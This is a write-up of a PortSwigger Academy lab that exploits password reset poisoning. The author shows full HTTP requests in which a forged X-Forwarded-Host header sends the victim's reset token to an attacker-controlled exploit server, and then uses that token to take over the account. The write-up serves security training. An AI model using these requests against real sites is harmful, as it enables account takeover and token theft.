Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type Authentication — Password Reset Poisoning via X-Forwarded-Host
Difficulty Practitioner
Objective Log in to Carlos's account
Note Own credentials wiener:peter; Carlos clicks any link in emails he receives; own emails readable via exploit server email client

Password Reset Poisoning via Middleware

I started by logging in as wiener:peter and exploring the password reset flow.

Screenshot
Screenshot

The forgot password form prompts for a username or email.

Screenshot

The underlying request is straightforward:

POST /forgot-password HTTP/2
Host: 0ab3008603b9ced480ed583000de0013.web-security-academy.net

username=wiener

The resulting email contained a reset link with a token:

Screenshot
web-security-academy.net/forgot-password?temp-forgot-password-token=k8ppkmcmtgx64aon2y54qag686u3o1cl

Resending the request generated a new token and invalidated the previous one — so tokens are single-use and tied to the most recent request.

Screenshot
Screenshot

The interesting question was how the backend constructs the absolute URL embedded in that email. In architectures with reverse proxies, CDNs, or load balancers, the Host header often gets rewritten for internal routing, so backends commonly rely on X-Forwarded-Host to know what domain the client originally requested — which lets them build correct links for things like password reset emails. If the backend trusts that header without validating it, pointing it at infrastructure we control redirects the reset link there instead of the real domain. The only way to confirm this is through the email itself, not the HTTP response, so I tested it manually: sent a baseline request, then one with a decoy value, and compared the links that arrived in the inbox. Automated tools like Param Miner would miss this entirely since they diff HTTP responses and have no visibility into the side channel.

Testing the header:

POST /forgot-password HTTP/2
Host: 0ab3008603b9ced480ed583000de0013.web-security-academy.net
X-Forwarded-Host: teto.com

username=wiener
Screenshot

The email came in with the link pointing at teto.com:

https://teto.com/forgot-password?temp-forgot-password-token=sqryu1ft9uw4immxm9mtynl4u0givt56
Screenshot

Confirmed — the backend follows X-Forwarded-Host directly when constructing the reset URL. That single trust decision is the entire vulnerability.

With the vector confirmed, I pointed X-Forwarded-Host at our exploit server and triggered a reset for Carlos:

POST /forgot-password HTTP/2
Host: 0ab3008603b9ced480ed583000de0013.web-security-academy.net
X-Forwarded-Host: https://exploit-0ad6006b0382ce8b80f9578b018600cc.exploit-server.net

username=carlos
Screenshot

Carlos received a reset email with a link pointing at our exploit server. Since he clicks everything, he followed it — and his token showed up in the access logs.

Screenshot

The token never needed to be intercepted in transit — it just needed to be requested for the victim and the resulting link redirected to infrastructure we control. Carlos's own click leaked it to our logs. With the token captured, I built the real reset URL on the actual lab domain and set a new password.

Screenshot

Logging in as carlos with the new password:

Screenshot

Lab solved :P

Resources